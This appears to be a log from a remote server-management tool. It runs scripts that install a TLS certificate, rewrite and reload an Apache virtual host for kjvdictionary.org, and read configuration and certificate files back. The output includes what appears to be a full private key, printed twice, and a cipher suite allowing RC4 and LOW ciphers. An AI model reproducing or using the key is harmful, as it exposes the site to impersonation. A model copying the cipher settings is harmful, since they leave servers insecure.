yu8kRxgouQxxMvZvsI/fwefBBaw5fc0G1ScST+afP2d74AmXN2KneFjvuCtpzwU1
FdF9JZ7KuLlxLabMCh1ThWU+B8JQp4Wozwqw5Mm+gQKBgQDzJkkdlgsLjdhmRqeF
ZtioeSgQZaU2ZsM3hIldQbb/sYGJYhRpVm/XSu9d0OCJSQ9dCsW8+J/NAzeyYrQ6
0Ln9SWBIgkirIC7DXScY3LvLL2x98+NECqWvV9ATWoqKRXm37gSkXbMSDjc7YMMG
eMGbGWLSTPN3ZDm0Jj2qgRK/gQKBgQDVm6jPkrupZH474UdSceAIuCPIlNYWrpZB
/3u2mFaiHCmyMzPCvyhC2TFhpRa3cFDEc6tB4BFKWotMpScOUbDQLGO5BxbmktJm
gt96ZSHSd3U9S1f5WecoNTZqLtLM4+S85kvB1MipoOCaMnQGBPCHwDnCbzjresgE
EBSoEYYK+wKBgQCUrdKDnt3+IKw0TfvdnLfavMr8y8qsa0XvysFcHvTRgS8eXLTy
fIJC+XVIvpKuH9ifIhkrpjPA3rjOAYEHfd5cvON9Mv1QdothtrJTh5Xldog2tE1B
q+kIQP/g9bpFNpppF8gK4ai/36VyT4axjGGGf41n3tn5JXYLbF7Excw7AQKBgHkR
jb+Aoh6jV6zmxX7kDh/DBn0UZrdaYs2rWVonw8qD/doDjU3O/KnO4l8+q75yyURf
buyabBJheVyKqrVB9d43mpnve7pZ8yio+rMriNz6WhfQkV9B5nNynZHXUiFQ9X9f
ZAbLbKRAC6059WrH9/BpMhOS6IcHA0DSQHL146xrAoGBANwzvsMGjiLpKIxpWjg7
4xCr2Fmb3VfMOcvvahrapgk1XahkOFPIjL6qWCou/KI/dvD3n3mb2RkGIGRWPDZR
vkYxlfPfzpWOVP/NCTnAIwHwEqYXgsP3dM+8o+PyprvpKH70Dm6kXKn+D+T+rVBS
4/2W/AXTfw1qmSDzgkSr6ZvP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-30 16:52:34: 

chmod 755 /tmp/pkp102348; /tmp/pkp102348; rm /tmp/pkp102348

2026-03-30 16:52:34: 


dir=/etc/ssl/certs


2026-03-30 16:52:34: 

PUT: /tmp/pkp830623

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-30 16:52:34: 

chmod 755 /tmp/pkp830623; /tmp/pkp830623; rm /tmp/pkp830623

2026-03-30 16:52:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf 45

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-30 16:52:34: 

PUT: /tmp/pkp346324

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_www_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf= 1'
fi


2026-03-30 16:52:34: 

chmod 755 /tmp/pkp346324; /tmp/pkp346324; rm /tmp/pkp346324

2026-03-30 16:52:34: 




2026-03-30 16:52:34: 

PUT: /tmp/pkp887061

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-30 16:52:34: 

chmod 755 /tmp/pkp887061; /tmp/pkp887061; rm /tmp/pkp887061

2026-03-30 16:52:34: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-30 16:52:34: Establishing a connection
2026-03-30 16:52:35: 

PUT: /tmp/pkp957655

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-30 16:52:35: 

chmod 755 /tmp/pkp957655; /tmp/pkp957655; rm /tmp/pkp957655

2026-03-30 16:52:35: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-30 16:52:35: 

PUT: /tmp/pkp997199

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/kjvdictionary_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-30 16:52:35: 

chmod 755 /tmp/pkp997199; /tmp/pkp997199; rm /tmp/pkp997199

2026-03-30 16:52:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf	1458

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-30 16:52:35: 

PUT: /tmp/pkp381826

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-30 16:52:35: 

chmod 755 /tmp/pkp381826; /tmp/pkp381826; rm /tmp/pkp381826

2026-03-30 16:52:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt	5385
14:2c:f0:61:cf:87:fc:87:44:f1:8a:2a:1f:18:52:7a

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBsMmQ8VhQ9uNWlR6AjdBymL+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzMwMTU1NDAzWhcNMjYwNjI4MTU1NDAyWjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMris1oqD6Y+l8BCd01Qrzo+zkLMLR/LcKj8xywXKlcSsZxe1sji7UeYM1Y1
ywBEZTs5otPWkeHiuFRFRqK5DWjCflkMRC4zhS4OXqmtkUrlvQbE0Af5rZ9rmpHj
D6JwRXnvknfjpuQsYgxvgjfu2NqQOEwOM5Y+xzmtQGgGqgKgpg4VmTTBdXCb3fj0
kaYFXZhRU9RzcWHOvU+LiF4ZtEmSel27Co/1D7NnN273nkxi23wSAM8vTeNL+WFY
l+L1tk1FakndCO+1BnBsLoi5xQph3DDo6O086cDzjCZ3Go1n1x4wFQqJSZLCJIzj
hKkMZqQlhCgvDpil4QyuZxdizXsCAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQ0
TA8CUFBae74hbBFrWx/Zfv7UgDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWtqdmRpY3Rpb25hcnkub3JnghV3d3cua2p2
ZGljdGlvbmFyeS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjcuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AHUASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGdP6lOzgAABAMARjBEAiAICEsv1/DZ3r8K4W61As9aFSuoomDEkMFLC05CgQOm
ZAIgRAkXuaN/wWCDKb1UkWe8pff48SF+9q+aWGyKialfZhgAfgBxfpXzwjiKbbHj
hEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZ0/qU+OAAgAAAUADP8RtwQDAEcwRQIh
ANm23KJHPwUMolIcBSjuRndq8AzvpQtQYl9ts6Br4KC6AiAiUcAU25y1WCtQ4P+c
rNHv8IXUwXi6cKVJxtFJZ3YogjANBgkqhkiG9w0BAQsFAAOCAQEAMO1MNX1rmjam
c3YfxlMbQzi4JWAIuAkrequt5D7KOxZg+W2iDCncEFeipU+Boj895XEEPz9fvpul
7POihnZfTqdfsAvm0VEesciFHZ+4mSYsPJeKOf1lwhEVOOaqFB4sCcWOXFpdpcYL
rvcYIKryp4QDZTAOXahiWOrMLbnz6rqfJsxItEqJnAP4hFipN0PFg4oRlyR5m1D+
LPp1b37cThGWCzD5MUuPxjJ1cQlTZO+StRBUEiODzQ0JZanfLZi9XucMHImxM4/0
BHe7I9zHxpie1hHr+omy4YbEOwDqEJo+thGZu56wc4GaMg1goGGLNVkrrAg8ZHM0
2T/f06PEng==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDK4rNaKg+mPpfA
QndNUK86Ps5CzC0fy3Co/McsFypXErGcXtbI4u1HmDNWNcsARGU7OaLT1pHh4rhU
RUaiuQ1own5ZDEQuM4UuDl6prZFK5b0GxNAH+a2fa5qR4w+icEV575J346bkLGIM
b4I37tjakDhMDjOWPsc5rUBoBqoCoKYOFZk0wXVwm9349JGmBV2YUVPUc3Fhzr1P
i4heGbRJknpduwqP9Q+zZzdu955MYtt8EgDPL03jS/lhWJfi9bZNRWpJ3QjvtQZw
bC6IucUKYdww6OjtPOnA84wmdxqNZ9ceMBUKiUmSwiSM44SpDGakJYQoLw6YpeEM
rmcXYs17AgMBAAECggEAUD1zwJu0/8Nuog/HflEEVG1lhx6YVCRSRMtgfGwXB0Px
8c3CdcXmITQtTZHN3Sevv8ouP0jz/ln8G/wgERhOGNofPVmwF3Ox3wK45rOqLGyL
I4OwYQ8a31uf0MX0N4Lev3iEPZ1QMprpFlD9t+BjbKGwWkgdl/TxNzrxp5LHJ20s
ScIr97ru6aG5JBR3JR6HauFMcquEs6aHLxXYvCbIIq/U8VMY8V0Vk1pD9btyxsND
yu8kRxgouQxxMvZvsI/fwefBBaw5fc0G1ScST+afP2d74AmXN2KneFjvuCtpzwU1
FdF9JZ7KuLlxLabMCh1ThWU+B8JQp4Wozwqw5Mm+gQKBgQDzJkkdlgsLjdhmRqeF
ZtioeSgQZaU2ZsM3hIldQbb/sYGJYhRpVm/XSu9d0OCJSQ9dCsW8+J/NAzeyYrQ6
0Ln9SWBIgkirIC7DXScY3LvLL2x98+NECqWvV9ATWoqKRXm37gSkXbMSDjc7YMMG
eMGbGWLSTPN3ZDm0Jj2qgRK/gQKBgQDVm6jPkrupZH474UdSceAIuCPIlNYWrpZB
/3u2mFaiHCmyMzPCvyhC2TFhpRa3cFDEc6tB4BFKWotMpScOUbDQLGO5BxbmktJm
gt96ZSHSd3U9S1f5WecoNTZqLtLM4+S85kvB1MipoOCaMnQGBPCHwDnCbzjresgE
EBSoEYYK+wKBgQCUrdKDnt3+IKw0TfvdnLfavMr8y8qsa0XvysFcHvTRgS8eXLTy
fIJC+XVIvpKuH9ifIhkrpjPA3rjOAYEHfd5cvON9Mv1QdothtrJTh5Xldog2tE1B
q+kIQP/g9bpFNpppF8gK4ai/36VyT4axjGGGf41n3tn5JXYLbF7Excw7AQKBgHkR
jb+Aoh6jV6zmxX7kDh/DBn0UZrdaYs2rWVonw8qD/doDjU3O/KnO4l8+q75yyURf
buyabBJheVyKqrVB9d43mpnve7pZ8yio+rMriNz6WhfQkV9B5nNynZHXUiFQ9X9f
ZAbLbKRAC6059WrH9/BpMhOS6IcHA0DSQHL146xrAoGBANwzvsMGjiLpKIxpWjg7
4xCr2Fmb3VfMOcvvahrapgk1XahkOFPIjL6qWCou/KI/dvD3n3mb2RkGIGRWPDZR
vkYxlfPfzpWOVP/NCTnAIwHwEqYXgsP3dM+8o+PyprvpKH70Dm6kXKn+D+T+rVBS
4/2W/AXTfw1qmSDzgkSr6ZvP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
